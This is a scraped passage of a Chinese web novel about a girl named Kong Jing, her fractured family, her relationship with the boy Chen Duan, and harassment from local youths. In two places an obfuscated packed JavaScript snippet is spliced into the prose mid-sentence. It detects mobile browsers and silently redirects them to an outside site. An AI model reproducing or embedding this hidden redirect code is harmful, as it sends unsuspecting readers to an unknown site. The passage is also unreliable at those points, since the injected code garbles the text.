孔净不知道孔大勇是什么时候回来的,但距离宁桂华的事才过去一周,她小心品嚼家里的氛围,轻声说:“在后面。” 孔大勇砸吧着嘴,从破钱夹里抽出十块钱,“再去给我买两瓶酒。” 孔净接过钱之前又看了眼李贤梅,孔大勇嬉皮笑脸地喊道:“贤梅给我酥点花生米,光喝酒嘴里没味儿!” 李贤梅回头剜了孔大勇一眼,孔净看得出来那眼神并不全是恼怒。 她捏着钱出门,很不理解孔大勇和李贤梅之间的气氛。 她原以为李贤梅会和孔大勇大吵一架,或许,在她回来之前已经吵过了? 孔净提着啤酒从小卖店回来,专门走的厂里。 饭菜香气从每个石头房子飘出来,嬢嬢们和自家丈夫端着饭盆在各自房门口边吃边说话,小孩尖叫着跑来跑去,和往常没什么区别。 宁桂华歪斜着身子倚在门框边,“孔净,来!嬢嬢给你留了好东西!” 她折身从屋里拿来一盒包装精美的饼干,孔净注意到她左脚有点跛,艳丽绵绸长裙也跟着一拐一拐,她脸上、脖子上、裙子遮不到的地方都还残留着淤青和伤口,可她浑不在意的样子,笑嘻嘻地把饼干递过来。 这饼干是她前天出院时在镇上买的。 孔净不明白,很不明白。 “为什么?”她看着被打得体无完肤后还照样涂脂抹粉站在家门口的女人。 “什么为什么?”宁桂华瘸着腿走近,昏黄灯光从后面照过来,她的脸青一块紫一块,在劣质化妆品的装扮下十分艳俗。 她哈一声,像是想起什么,笑眯眯地问:“你说我和你爸爸啊?啊呀多大点事!小孩子别听大人乱说。” “是乱说吗?”孔净搡开被塞进怀里的饼干。 饼干盒掉到地上,宁桂华费力弯腰捡起来,她拍拍盒子上的灰,斜眼笑看孔净,“回去问你爸爸啰。” “……不要脸。” 孔净只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196544|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能想到这个词。 宁桂华被这个词刺激到,她忽然一把抓住孔净,艳俗的脸凑得很近,变得狰狞,“是你告诉王立胜的对不对?对不对?那回在林子里你就知道了!我还以为你不知道呢!孔净啊孔净,你心思怎么这么重!你不先告诉你妈,反倒告诉王立胜。你是想让他打死我对不对?孔净你知道你这招叫什么?借刀杀人!孔净你真是没白读书!可是嬢嬢想不通,你怎么能这么狠呢?嬢嬢平时对你不好吗?孔净,啊?你说啊!” 孔净被她抓得很疼,用力挣了一下,宁桂华没站稳,向后跌坐在地上,饼干盒子被她压扁在屁股底下。 旁边门户的人听见动静都跑过来,大家的表情又像上周看宁桂华被王立胜拴着脖子在地上拖一样。 孔净转身挤出去,塑料袋里的啤酒瓶撞得丁零当啷响。 她一口气跑向石厝,少年骑着烟蓝色自行车一晃而过,孔净喘着气跟着进了简棚,“是你,对吗?” 有人说宁桂华东窗事发是因为有人给王立胜的手机里发了一条匿名短信。 陈端立好脚撑,并不打算理孔净这没头没尾的一句。 孔净把手按在他放在车前兜的书包上,陈端轻轻蹙了下眉,然后才掀起眼皮。 “是你发短信给王立胜的,对吗?”孔净看他。 孔净不是不能接受告密,她不能接受的是,“借刀杀人”。 太阴狠了。 天已经全黑了,棚子里没有开灯,没有光照的空间里陈端的眼显得那么黑那么静。 “对。”他扯走书包。 孔净独自站在棚子里,李贤梅进来洗盘子看见一个黑影吓了一跳,“魂不守舍的干什么?你爸等你拿酒回来嘴巴都等干了!” 李贤梅拉开灯,见孔净要出去,叫住她。 “做得对。”李贤梅声音轻轻的,对孔净露出这些天以来的第一个笑脸。 孔净微微睁大眼睛,明白过来李贤梅也以为是她。 塑料袋勒得指节发白,孔净垂着眼,没承认也没否认。 她不知道自己算什么,冒名顶罪,还是替人邀功。 孔净理解错了,大人们如果决心欲盖弥彰就会尽最大努力掩饰太平,但如果心有芥蒂,哪怕最微小的细节也会昭示心中怨怼。 孔大勇和李贤梅回不到从前,家里的气氛愈发微妙,真正爆发是在王立胜从派出所出来回到厂里又大闹了一场之后,不过王立胜这次没打宁桂华,而是把自己灌得半死后躺在切割理石的机器上,扬言要自杀。 因为他这一闹,厂子被迫停工半天。孔大勇指挥工人费了九牛二虎之力才把人抬下来。 孔净和陈端被赶出来,孔大勇和李贤梅叫上王立胜、宁桂华以及厂里另一个老资格的工人,关上门在石厝里谈了一下午加半个晚上,最后的结果是王立胜带着宁桂华走人。 但孔净知道王立胜不可能光是走人这么简单,他必然拿了一笔遣散费,从李贤梅一触即发的高压情绪和急剧收缩的家庭支出就能猜到。 李贤梅双眼发红,终日阴沉着一张脸,把所有力气都发泄在厂子里,有时就算不缺勤杂工,她也会撸起袖管像男人一样装货卸货。 而孔大勇为了找回老大的主场,减少外出的频率,每天在微醺状态下背着手在厂里指点这个指点那个。 他们不吵架,明面上不发生争执,他们很有默契地把孔净和陈端划入各自的阵营,必要时就用他们来交锋。 比如孔大勇知道李贤梅已经很长一段时间没给过陈端生活费后,气得扬手砸了一只空酒瓶,然后赌气似的给了陈端两百,并且告诉他以后生活费都是这个标准,让他大胆花,想怎么花就怎么花。 孔大勇很上头,忘记他的钱夹根本就是今天有明天无的诈尸状态。 李贤梅不甘示弱,领着孔净去镇上买了新衣服和新被褥,晚上做饭刻意把唯二的两只鸡腿都夹到孔净碗里。 结果就是孔大勇把筷子一摔,指着孔净问:“你嘴巴这么馋呢?有好的全让你吃了,一点不知道心疼弟弟!” 李贤梅用筷子用力挑拣着盘子里的菜,“什么弟弟?我反正只晓得自己只生过一个。” 她胳膊肘捅一下孔净,“孔净你有弟弟吗?哪个妈生的?” 孔净握着筷子没敢抬眼,对面陈端好像也在看她。 孔大勇做错事在先,不敢对李贤梅怎么样,就用同样生着厚茧的粗短指节隔空对着孔净指了又指,最后他一拍桌子,“吃个锤子还吃!” 他骑摩托车带陈端走了。 把孔大勇气走,李贤梅得到报复的快感,但很快心情直转急下,她饭吃一半撂下碗筷,去床上躺着。 隔了一会儿猛地坐起来掀开蚊帐,“你说!陈端是不是你弟弟?” 两个鸡腿孔净没动,被孔净原封不动放回盘子里。 她站在桌边收拾碗筷,知道李贤梅情绪在崩溃边缘,顺从地捡她最想听的说,“不是。” 李贤梅含泪哼笑一声,但更生气了,“不是你爸爸为什么疼他跟疼什么似的?!你爸爸为什么不疼你?——你恨不恨陈端?” “……恨。” 孔净把碗筷收到铁盆里,端去旁边简棚清洗,晃眼就看见停着的自行车上坐了个人,她轻吸一口气,左手抱紧铁盆,右手悬停在电灯开关上。 狭窄的手机屏发出微弱蓝白光,照见少年低垂眉眼。 听见声响,陈端没抬眼。 孔净也没问他怎么自己回来了,按亮灯,错身走到水槽边。 老式灯泡悬挂在头顶,蚊蝇绕着嗡嗡乱飞,光影错落分割,谁都没有抬眼看对方。 15. 第 15 章 新的一周,期末考试周,就算是平时最顽劣的学生也染上些许紧张。 阿禾没来找孔净,孔净去找她,她也回避。 孔净只能等考试结束之后再找机会和她碰面。 但阿禾似乎决心躲着孔净,考完最后一科就匆匆回宿舍收拾东西。 孔净随后追过去,却在二班女生宿舍门口看见许久没露面的长脸和圆脸。 职高早就放假了,她们模仿女明星的打扮,穿得很清凉,妆也很浓。 两人像当初夹击孔净一样把阿禾夹在中间。 阿禾被她们贴着彩色纹身的胳膊时不时撞一下,两边肩膀紧缩快要粘到一起。 “你们在干什么?不要欺负阿禾。”孔净走到她们面前。 长脸和圆脸看见孔净都眼前一亮,但似乎又忌惮着什么,往她身后瞥了好几眼。 “我们哪有欺负阿禾同学,她是自愿和我们做朋友的哦。”长脸说着把手搭在阿禾的肩膀上,低头问她,“是吧?” “问你话,为什么不回答?再这样我生气了。”圆脸喜欢唱红脸,手在背后掐了阿禾一下。 阿禾咬唇看着地面点头,“……对啊,我们是朋友。” 孔净皱眉,她当然看出阿禾不是自愿。 “阿禾,你过来,不要怕她们。” “干嘛?你要保护她哦?”长脸说,“我们又不会欺负她,你不要这么紧张啦!你也和我们一起玩吧。” “阿禾。”孔净伸手握住阿禾的手腕,“我们一起回家。” 阿禾小心看向孔净,眼里有迟疑、心虚,还有挣扎。 孔净加重握住她手腕的力量,坚定道:“走。” “你确定吗?”在阿禾迈出步子之前,圆脸在她背后掐得更用力,“忍一下说不定我们就放过你了。但是你要是敢反抗,结果只会越来越严重。” “对啊对啊,虾皮说的话你不要忘记。如果当时不是你的好朋友孔净同学先动手,后来陈端也加入进来,搞得虾皮那么丢脸初中只上到一半就不读了,我们今天也不会来找你啊!其实你也是无辜受他们牵连的啦!”长脸说,“孔净同学现在是有人保护啦,但是不可能一直不落单,再说了,有人保护又怎么样?虾皮可是发过誓,要连陈端一起收拾!” “……你们、是一伙的?” 孔净终于把她们口中的虾皮和粉刺男对上号。 “要不然你真的以为是你名气大哦?”圆脸翻个白眼。 “哎呀不要这么说啦。”长脸又开始唱反调,“孔净同学还是挺有名的啦,成绩又好长得又特别,虾皮让我们转告你,如果你愿意和他交往,他可以放过你和陈端,当然啦……” 她大力拍拍阿禾肩膀,“还有你的好朋友。要不要考虑看看?” “做梦。” 孔净用力把阿禾扯到自己这边,拉着就走。 长脸和圆脸在后面发出警告:“阿禾同学,你确定要跟孔净同学一起吗?回来和我们做好朋友,过两天我们腻了就放过你啦。跟着孔净同学,她只会像小学那次把事情弄大,劝你想清楚。” “阿禾……” 孔净感到身后一道阻力,转过身,阿禾停在原地,被握住的手腕有挣脱的趋势。 “对不起孔净。”阿禾想哭,她觉得自己很怯弱,可是她又感到愤怒,她说不上来,也许真的像她们说的那样,当时忍一忍就好了,她又没有让孔净帮忙,是孔净自作主张先动手打人,才会造成后来一连串的反应。 她这段时间被虾皮私下找过好几次,真的快要崩溃了。 特别上次骗孔净去文具店之后,她本来就羞愧,现在再对上孔净的目光,血气上涌,忽然恼羞成怒。 “你不要这样看我。”阿禾受不了孔净的眼神,好像她害怕是多么丢人的事。 她一下甩掉孔净的手,“要不是知道陈端打架很厉害,又会为你出头,你那天根本就不会帮我!你根本就是狐假虎威!好像你真的有多勇敢一样!如果你真的像表现的这么有种,一条被吃掉,你为什么连个屁也不敢放!还骗我说它跑去好人家……你到底在装什么啊?!” 阿禾捂着脸真的哭了,她转身跑下台阶。 “你怎么知道……?”孔净呆立在原地,她被阿禾的话击中,天灵盖发冷发紧。 “一条是谁?”长脸和圆脸两脸震惊,“……吃、人吗?噫!!!” 后来长脸和圆脸围在身边说了什么,孔净一点印象也没有。 骑车回家,日光把身后一直跟着的人影拉长映在水泥地上,孔净心头一惊,转头,龙头也跟着一歪。 陈端踩着脚踏时而向前时而向后,控制着自行车以极慢的速度匀速滑行。 他从网吧门口就一直在后面了,注意到孔净终于发现自己,他没什么表情地掀起眼皮。 “你跟着我干什么?”轮胎擦着道路边缘,车子差点掉进沟里,孔净把着龙头惊险逃过一劫。 她受惊吓的同时莫名感到委屈,她不知道委屈的原由,也很任性地选择忘记陈端要回石厝只有这一条必经之路。 陈端看着她,自顾以刚才的方式慢行,没说话。 眼泪在眼眶里打转,孔净瞪大眼睛发力猛踩脚踏。 她的样子或许看起来很可笑,可是她才不要在陈端面前哭。 生活的圈子逐渐变得窒闷、怪异。 去学校领成绩单那天阿禾缺席了,她后来也没来找过孔净。 孔净有次骑车“路过”村里,阿禾阿嬷说她去泉州找她表姐玩了,开学前才回来。 阿嬷问孔净穿多大码的鞋,阿禾表姐在鞋厂里打工,阿禾回来可以帮她带两双不要钱的瑕疵品。 “虽连系不良品哦,但系假或勒,质量很好勒!”阿嬷闽南语里夹杂着普通话,让孔净不要嫌弃拿回来的鞋子,其实看不出来哪里有瑕疵,穿上之后就跟花大价钱从名牌店里买来的一模一样。 “谢谢阿嬷,我没有嫌弃,我鞋子很多。”孔净真诚谢过阿嬷,心想就算她厚着脸皮说要,阿禾也不会帮她带。 厂里的效益也愈发不好,因为薪水大跳水,工人和嬢嬢们都怨声载道。孔大勇在厂里“坐镇”一周后,脚底抹油的老毛病再次复发,李贤梅的脸拉得一天比一天长,她对孔净和陈端的态度虽各不一样,但本质上都更加苛刻。 半个暑假过去,陈端没有主动和孔净说过话。 天气越来越热,他们之间的冷冻层却越来越厚。 孔净有时候也想不明白他们怎么会变成现在这样。 明明,三个月前陈端还背过她,而她私下还和他有说有笑。 陈端白天几乎不在,晚上也很少在,一周七天可能只有两个晚上睡在铁架床上铺。 李贤梅放任不管,可能还会在心里期盼他哪天出去后永远不再回来。 孔大勇想管,但是他先管不住自己一心往外跑的腿。 有次他酒足饭饱后半夜回来,看见铁架床上铺是空的,握起拳头把指节捏得咔咔响,他愣是坐了一晚上等陈端回来。 他决定故技重施,要以打骂的方式管教陈端,但他一拳挥过去被陈端轻易躲开,孔大勇一个趔趄过后转过身惊奇地看向他,好像在这个时刻才发现陈端已经长大。 陈端个子高,不到十五岁就超过了一米七五,肩宽背阔,虽显单薄,但T恤下两只小臂线条匀称,昭示着在不久的将来将会获得的年轻力量。 孔大勇又愤怒又惊喜,“儿砸,有脾气……像我!” 他那被酒精和各种苍蝇馆子的肉菜填饱膨胀的肥厚手臂,伸长,重重拍在少年的肩膀上,情绪很戏剧性地,急转为老父亲对新生狼崽的殷切疼惜。 陈端站着,被拍打的左肩不曾歪斜,年轻白皙的脸庞上表情淡淡。 至少,在孔净看来,没有所谓亲情的东西流过。 孔大勇管不了陈端,就换成另一种极端的方式,纵容。 “男孩子就是要野一点,在外头吃得开是好事,天天待在屋里像个娘们,咱们是男子汉,男子汉就该出去闯!去闯!爸爸支持你!” 一通毫无逻辑的壮志豪言发表完,油门一轰,又骑着摩托车跑了。 李贤梅不在,陈端踩在爬梯上,一手抓着上铺围挡,另一手从床尾的小号编织袋里拿换洗的衣服。 他已经三天没洗过澡,身上被网吧里各种泡面、香烟、汗渍的味道腌入了味,很难闻。 孔净关了煤气灶火,用抹布隔着手柄端起灶上的不锈钢锅,把锅里烧开的水倒进桶里,就出去了。 陈端图省事本想冲个凉水澡就完事,拿着衣服转身,看见冒着热气的小半桶热水,微微一愣。 孔净端了个矮板凳坐在外边屋檐下理空心菜,陈端提着水桶从身边走过时,她动作没停。 男孩子冲澡很快,陈端把搓洗干净的衣服晾在黄葛树下的铁丝绳上,带着新鲜锅气的饭菜香从旁边窗户飘出来,他微微偏转视线,窗户里孔净正一手端一只盘子走到桌边。 孔净焖了半锅米饭,炒了辣椒鸡蛋和蒜蓉空心菜,还是半上午,离中午李贤梅回来还有一段时间,因此菜量做的很少,只够一个人吃,装在小盘里。 她把盘子放下后,洗了手,解下围腰,就坐到旁边红色理石桌前,随便捡一本书翻开。 陈端进来,把桶和香皂放回原位,餐桌上瓷碗盛了小山一样的米饭,旁边整整齐齐放了一双筷子。 他顿了顿,还是走到桌边坐下。 孔净听见背后传来椅子拖拉的声音,虚焦的视线才慢慢聚拢。 小时候的教养刻在骨子里,陈端吃饭很安静。 十来分钟后,他把空盘叠在一起,站起身,却听见背后孔净说:“放下吧,我来洗。” 停了好几秒,他轻“嗯”一声。 孔净垂眼把书扣上,去收碗筷到简棚里清洗。 出来时看见陈端坐在刚才她理菜坐的矮板凳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207186|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,孔净停了一霎,进去把东西放到碗筷架上,然后才又走出来。 她站在铁门边,离檐下的少年有一段距离。 暑风压着黄葛树冠,影子时有时无在两人之间摆动。 空气里有一丝躁动,铺天盖地的蝉鸣填补檐下的静默,另一方面又将这静默放大。 孔净脚尖碾着门槛上的凹洞,在陈端双手撑着膝盖准备起身之前,问道:“你又和人打架了吗?” 陈端左后腰上有一块黑红淤青,淤青旁还有一道一指长的醒目伤口,像是被刀子划破的,孔净不确定,刚才陈端往上铺拿东西时衣服下摆抻起,她晃眼看到了。 陈端下意识抬手去摸后腰,白净修长的手掌划过半空又收了回来。 他偏头看向孔净。 孔净和他静淡视线一碰,还是垂眼看向门槛,“网吧很乱,你还是不要去了。” “和你有什么关系。”陈端说这话并不带任何情绪,一句很平实的陈述句。 他是真的很想知道,他去的地方危险,和孔净有关系吗。 他还是保持偏头的姿势看孔净,瞳仁由曜石黑转至淡灰,从中间向边缘渐变,色泽浓郁又冷淡,很特别。孔净以前就发现了,上了初中之后她从书上看到一个比喻觉得很贴切,“寒潭照影”。 “危险不是正好,最好死在外面,这样大家都如意了。”不等孔净说什么,陈端又接了一句。 年轻鲜活的生命说到死也稀松平常,好像这就是他最想要的东西。 孔净一瞬间想到一条,想到阿禾,想到被拴住脖子在地上爬的宁桂华,也想到陈端后腰上的锋利伤痕。 她嘴唇颤动,“一定要把话说得这么难听吗?谁如意了……又没人欠你什么。” “对,没人欠我,是我欠你们。”陈端站起来,“所以别费心思管我,这样我就不会欠你们更多了。” 他要进屋拿东西,进门时高出一截的肩膀擦过孔净耳际,明明是微不足道的力度,孔净却身体一偏,后背贴上铁门。 陈端从上铺取走正在充电的手机,端口回弹在手背留下一道很细小的红痕,他低头看去,眼里盛满浓郁的不甘与自弃。 索性连插头也一并拔了。 从爬梯跳下来,脚刚踩实就听见轰隆隆的摩托车声音闪过,伴随着男生肆意狂浪的笑声,紧接着就是女孩子的尖叫声。 陈端一怔,快步跑向孔净所在的位置。 孔净抱头蹲在门边,砸挂在她头上的死老鼠顺着后脑勺和后背一路跌滑下去,腥黏的腐臭味令她全身每个毛孔都在颤抖。 她控制不住又叫了一声。 陈端将落到地上的老鼠尸体一脚踢开,抬眼,亮红色摩托车已经驶过土包,后座上那个穿黑色骷髅图案衬衫的痩弯身影一闪而过。 他眼神骤然锋利,长腿一伸就要去追,孔净两手抓住他脚踝,“不要,他们是故意的……” 陈端一愣,低头看她,“今天不是第一次?” “……不是。” 显然,那个黑色骷髅衫是谁,他们都心知肚明。 陈端没想到的是,对方竟然敢肆无忌惮地追到厂区。 那辆亮红色摩托车从什么时候开始在石厝附近出现,孔净记不清具体时间了。 但是第一次朝屋里扔老鼠、蛇之类的动物尸体,是在十天前。 今天是第三次。 前两次都挑孔净一个人在的时候,今天也许是因为没看见陈端也在,更有可能,就是因为知道陈端也在,所以他们刚才才笑得比前两次更大声。 孔净深吸两口气,站起来,去灶台下掏出两个买菜攒下的塑料袋套在手上,想把老鼠尸体清理走。 陈端看她一眼,伸手褪下她手上的塑料袋套在自己手上,蹲下身三下五除二就弄走了。 家里没有专门的清洁用品,他往拖把桶里抖了好些洗衣粉,把门口那块地方拖了几遍后,用清水冲刷。 洗衣粉的香气带走腐尸味道,水流顺着屋檐下的小沟流到阳光下,就算是污水里的泡沫也色彩斑斓。 孔净站在门边靠里的位置,看见陈端弯腰时衣服下摆又自动往上露出一截后腰,他的皮肤很白很有光泽,这显得那处淤青和伤痕更加突兀。 “你的伤……也是他弄的吗?” 孔净忽然想到。 陈端没吭声,他把剩的半桶水“哗啦”一下冲倒在地,水渍溅在他浅蓝裤管和洗得发黄的白色球鞋上。 他把桶和拖把拎回简棚,然后走到路边掐着腰左右看了看,低头掏出手机,修长指节操作按键。 过了会,他收回手机,进屋。 孔净以为他要走了,却看见他从上铺拿了条干净短裤,去简棚关上门换了后回来,长手长脚一下翻上铁架床。 孔净有些诧异,随后明白过来。 陈端今天不走了。 她垂着眼,长睫颤动,舌尖泛苦,下弯的嘴角却往上勾了勾。 16. 第 16 章 陈端很缺觉,本来是屈起一条腿靠坐在床头的姿势,后来不自觉闭上眼睛,身体逐渐歪斜,脑袋沾上枕头就睡着了。 孔净做饭都没有把他吵醒。 李贤梅中午回来,晃眼看见铁架床上铺拱起的人影愣了一下,定睛看了两眼后,一口气喝干茶缸里的水,然后“嘭”的一声把茶缸放回桌子。 孔净把碗筷递给李贤梅,余光朝铁架床那边轻扫去,床上的人影没动,睡得很沉。 李贤梅鼻子不是鼻子眼睛不是眼睛地吃完一餐饭,饭桌顶上的老式电风扇吱呀呀转动,她朝床上看了又看,散落的情绪快速聚集,又有喷薄的趋势。 孔净小心翼翼收拾桌面,听见外面有工人跑来喊磨料不够了要买几箱,李贤梅压了压快要冲上顶的火气,对着窗外应了声“来了”,然后就起身出去了。 孔净无声舒一口气。 陈端醒来已经是半下午,他从床上坐起来,慢动作转头看了眼四周,似乎是在确定所处的环境。 没有网吧里难闻的气味,没有昼夜不停狂雨似的键盘声,也没有满屋花香却夹杂着病气躺在床上叫他小端的女人,只有少女温和轻柔的嗓音掠过耳际,“醒了吗?给你留了饭菜。” 陈端视线透过白色蚊帐,看见孔净正对着坐在红色理石桌前,洗过澡换了身衣服,面前的书已经换了一本,散着半湿的长发仰头望着他。 “嗯。” 他喉咙发干,清了下嗓子,掀开蚊帐跳下床。 孔净走去灶台边从底下的置物架最里边掏出一个杯子,踌躇片刻,站起来用热水涮过后倒了杯事先泡好凉透的苦荞茶。 陈端视线落在孔净修剪平滑的细长指尖,然后才是她握在手里的杯子。 孔净双手顿在半空中,若无其事地说:“前天妈带我去镇上,我在市场看见就买了,感觉和你很配,但是杯沿有个小缺口,喝的时候要小心,不要划到嘴。” 八块钱的马克杯,她从成堆打折处理的瑕疵品里淘来的,黑白渐变,上白下黑,中间以浓度不一的蓝色笔调作为过渡。 孔净想到即将破晓的旷野,以及暮色西垂的蓝调时刻。 很特别,和陈端很搭。 陈端接过杯子,喝光水,转过身时指尖擦过杯沿上的三角形缺口,说了声谢谢。 孔净一顿,笑了笑,心里淡淡的难过,陈端其实很有礼貌,也……很好哄。 上午的对话似乎就此消弭,谁也没再提。 陈端晚上没出去,接下来的几天也都在。 李贤梅有种活见鬼的感觉,她想问问陈端怎么忽然转性了,但不知为什么一直憋着没说。 那辆亮红色摩托车幽灵一样在石厝周围不定时出现,没再扔奇怪的动物尸体,但是孔净发现她藏在上衣和下装之间晾晒的贴身衣物不见了。 她捏着空荡荡的衣架站在黄葛树下,嘴唇抿得发白。 “又发什么呆?”李贤梅刚洗了澡回来。 孔净从她手里接过桶,帮忙把衣服晾上,犹豫片刻,“妈,我内衣不在了。” “被风吹走了吧,到处找找啊。” “找过了,没有。我怀疑……是被人拿走了。” 就是怕被风吹走,所以孔净在晾的时候专门用夹子固定住。 “哪个拿你穿过的内衣?”李贤梅用毛巾擦着头发,眉头皱得很紧,“狗日的,不要脸的东西!” 她声音陡然变大,对着后面的瓷砖厂和前面的石材厂骂两句。 她指挥孔净,“以后把衣服晾棚子里。” 孔净说,“妈,有辆红色摩托车——” 别在腰侧的手机响,李贤梅烦躁地把擦头的毛巾往肩上一甩,一边接电话一边转身往厂里走。 孔净望着她忙碌的背影,慢慢闭上嘴巴。 内衣的事孔净没跟陈端说,太私密了,不好张口。 她把美工刀从书包夹层里拿出来,睡觉时搁在枕头底下,白天就揣在兜里。 红色摩托车有时会专门挑深夜过来,停在石厝旁边,车载音响放得很大声,男女嬉笑,啤酒瓶往石厝外墙上砸。 但每当陈端跳下铁架床,还没走出门,摩托车就载着人跑了。 而这终于引起了李贤梅的注意,在孔大勇再一次想起回家时,在饭桌上跟他提了。 “有这种事?”孔大勇眼睛鼓得很大,脸上的肥肉抖了又抖,“敢在我门前撒野,不要命了!” 然而第二天当李贤梅再问到时,他笑嘻嘻地摆手,“哎呀小孩不懂事,闹着玩儿的!” 他说骑摩托车的是石材厂老板的儿子,暑假在镇上的家呆腻了,就来这边找朋友玩。他已经跟老板打过招呼,他们不会再来这边捣乱了。先前是因为不知道石厝里住的是他孔大勇一家,所以才大水冲了龙王庙。 然后他又说起那辆摩托车,“雅马哈的牌子,哦哟,好气派……” 于是事情在孔大勇和李贤梅这里就这么画上了终结号。 亮红摩托车也确实消失了一阵。 离暑假结束还有不到半个月,所有风波似乎都烟消云散。 陈端在家待不住,李贤梅不明着找茬,可她阴沉着脸把所有不满都对着孔净宣泄,倒不是骂,而是说些诸如“你弟弟在家,你高兴不”、“这么好的瓜先给你弟弟吃啊”之类的话。 孔净不能顺着答,不能反着答,更不能不答,但无论怎么答,李贤梅最后都会生气,气到躺床上抹眼泪,气到提不起力气去管厂里的事。 于是陈端只好像之前那样在家里消失,每周抽李贤梅不在的时候回来看看。 八月下旬,姑姑和姑父带表弟表妹来家里做客。陈端不在,赵长蹬掉鞋子爬上铁架床上铺,“我的地盘,我睡这!” 理所当然鸠占鹊巢的样子让人忍不住想给他一拳。 两家人聚在一起,孔大勇好充面子,专门去小卖店让老板娘烧了几道硬菜,啤酒可乐管够。 气氛热闹,像过年。 姑姑孔小琼问了嘴陈端去哪儿了,李贤梅锅铲不停,“我又不是他亲妈,管得了这些。谁知道他去哪儿了。你问你哥吧,他才是陈端亲爸。” 孔小琼笑笑,跟孔净一块在简棚的水槽边洗菜时才又开口,“你妈哎,养那个孩子都几年了还想不通。” 她看一眼孔净,“平时没少因为那孩子受你妈的气吧?” “没有。”孔净用牙签把葱段两头扎成流苏状,待会蘸酱吃。 发生宁桂华那事时,孔小琼虽然没来这边,但是事情经过都听说了。她叹一口气,“你爸爸也真是……在外面就算了,非跟厂里的人……搞得乌烟瘴气。” 她并不因为是孔大勇的妹妹就站在他那边,而是同情同为女人的李贤梅。她说:“你妈妈不容易,厂子虽然是你爸爸出面承包的,但实际都是你妈妈在管,这些年她累死累活大家都看在眼里。她想不通是很自然的事。偶尔脾气大点你也要理解她。” 孔净理解的。 她理解李贤梅的辛苦,可她不理解李贤梅对陈端的怨恨。 “这有什么不理解的。”孔小琼朝石厝那边看一眼,压低声音说,“你妈妈一直想生一个男孩,你出生之前她还专门找人看过B超,人家说就是男孩,哪里想到生下来居然是个女孩。后面她又怀过两回,但是因为身体原因都自己流了。本来呢,生不出来就生不出来吧,现在谁还信养儿防老那套。但是自从你爸爸把陈端领回来,事情就不同了。外面不是还传过一阵陈端是你爸在外面跟别人生的吗?这就相当于打你妈妈的脸。 “不过打就打了吧,你妈妈一直都很能忍。你爸爸在外面怎么样她睁一只眼闭一只眼就算了,哪里想到又跑出来一个宁桂华……” 李贤梅遵循的是传统的那一套,丈夫和别的女人有染肯定是丈夫的不对,可她觉得自己也有错,比如没有完成孔大勇儿女双全的心愿。 生不出儿子,管不住丈夫,替别人养孩子,陈端的存在就是李贤梅耻辱的象征。 “你多向着你妈,她太苦了。”孔小琼嘱咐孔净。 孔净“嗯”一声,小葱扎得细,熏眼睛。 姑姑姑父还要回去干活,晚上吃了饭就要走。姑父赵健喝得颧骨以上又红又肿,走起路来像是醉汉打拳。李贤梅劝他们留下住一晚明天再走,孔小琼摆摆手,“没事,我喊他骑慢点。” 摩托车油门一轰,歪七扭八地驶走。 赵长和赵兰兰没跟着走,他们要玩到开学前再回去。 孔净帮李贤梅把一片狼藉的屋里打扫干净,赵兰兰从下铺翻坐起来,两只圆胖胖的小手帮孔净掀开蚊帐,“姐姐。” 孔净钻进去,接过赵兰兰递来的翻版芭比娃娃和她一起玩。 赵长在上铺不老实,一会儿翻身,一会儿探个头往下瞅,“姐,姐!陈端去哪儿了?喊他回来我们四个打牌!” 孔净没理,赵长手贱,拽着下铺的蚊帐左晃右晃,蚊子从豁口飞进来,在孔净和赵兰兰身上叮了好几个包。 孔净忍无可忍,坐起来哐哐捶几下上铺床板,“睡不睡?不睡自行车借你,自己骑回家!” 赵长瞅她,“你就是这么对你亲表弟的?” “请你注意用词,亲和表不要一起用。” 孔净觉得他真是越大越聒噪。 “什么意思?”赵长两手抓着围挡,整个上身都探出来,“你就说我是表的,陈端才是亲的呗?” “嗯呐。” 孔净闭上眼睛,好困。 赵长突然发疯,梗起脖子就对着另一张床上的人喊:“舅舅舅妈!孔净不认我,她只认陈——哇靠!” 孔净从来没有这么灵活过,翻身抓起放在床前的拖鞋,直起身就给了赵长一下。 没刻意选部位,看见赵长一脸懵逼地捂着下半张脸,才发觉中招的是他的嘴。 旁边床上睡熟的人呼噜声断了一下,赵长反应过来,又要告状,孔净仰头又挥了下手里的拖鞋。 “……好男不跟女斗!” 赵长像条滑溜的鱼,一下缩进上铺蚊帐里。 “你也是这么打陈端的?”他非常不满。 孔净放下拖鞋,拍拍手,“没有。” “哈!我就知道!人家是亲的嘛!” “你再说一遍。”孔净好脾气地威胁。 赵长不说了,但是把床扭得快要散架。 小时候陈端搬石头砸蛇的记忆一直鲜活地留存在他脑海里,他又钻出个脑袋里,“其实你是不敢吧?他是不是没少欺负你?” “是是……” 孔净上下眼皮打架,赵长说什么根本没听清。 赵长可能是属狗的,没人跟他说陈端在哪儿,他不知怎么骑着孔净的自行车闻着味儿就找去了网吧。 回到石厝,他两眼放光,活像吃了兴奋剂。 “哇靠!陈端打游戏那么厉害!牛逼!” “《诛仙》你知道吧?《跑跑卡丁车》你知道吧?陈端居然——” “不好意思,我不知道。” 孔净无情打断。 赵长看孔净像看山顶洞人,“女生就是没劲!” 他觉得自己逼格太高,像陈端这样的才差不多够水准跟他对话。 “你有劲,考试别带小抄。”孔净回敬一个看傻狗的眼神。 